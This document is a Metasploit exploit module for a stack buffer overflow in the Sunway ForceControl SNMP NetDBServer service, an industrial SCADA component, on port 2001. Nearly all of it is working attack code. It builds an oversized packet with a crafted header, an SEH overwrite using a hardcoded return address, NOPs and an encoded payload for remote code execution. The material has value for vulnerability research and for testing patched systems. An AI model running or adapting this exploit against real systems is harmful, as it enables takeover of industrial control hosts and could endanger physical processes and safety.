Sunway Forcecontrol SNMP NetDBServer.exe Opcode 0x57

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GreatRanking  
  
include Msf::Exploit::Remote::Tcp  
include Msf::Exploit::Remote::Seh  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Sunway Forcecontrol SNMP NetDBServer.exe Opcode 0x57',  
'Description' => %q{  
This module exploits a stack based buffer overflow found in the SNMP  
NetDBServer service of Sunway Forcecontrol <= 6.1 sp3. The overflow is  
triggered when sending an overly long string to the listening service  
on port 2001.  
},  
'Author' => [  
'Luigi Auriemma', # original discovery  
'Rinat Ziyayev',  
'James Fitts'  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'BID', '49747' ],  
[ 'URL', 'http://aluigi.altervista.org/adv/forcecontrol_1-adv.txt' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
},  
'Privileged' => true,  
'Payload' =>  
{  
'DisableNops' => 'true',  
'BadChars' => "\x0a\x0d\xae",  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[  
# p/p/r ComDll.dll  
'Windows', { 'Ret' => 0x100022c4 }  
],  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Sep 22 2011'))  
  
register_options(  
[  
Opt::RPORT(2001)  
], self.class )  
end  
  
def exploit  
connect  
  
header = "\xeb\x50\xeb\x50"  
header << "\x57\x00" # packet type  
header << "\xff\xff\x00\x00"  
header << "\x01\x00"  
header << "\xff"  
  
footer = "\r\n"  
  
packet = rand_text_alpha_upper(65535)  
packet[0,header.length] = header  
packet[293,8] = generate_seh_record(target.ret)  
packet[301,20] = make_nops(20)  
packet[321,payload.encoded.length] = payload.encoded  
packet[65533,2] = footer  
  
print_status("Trying target %s..." % target.name)  
  
sock.put(packet)  
  
handler  
disconnect  
end  
  
end`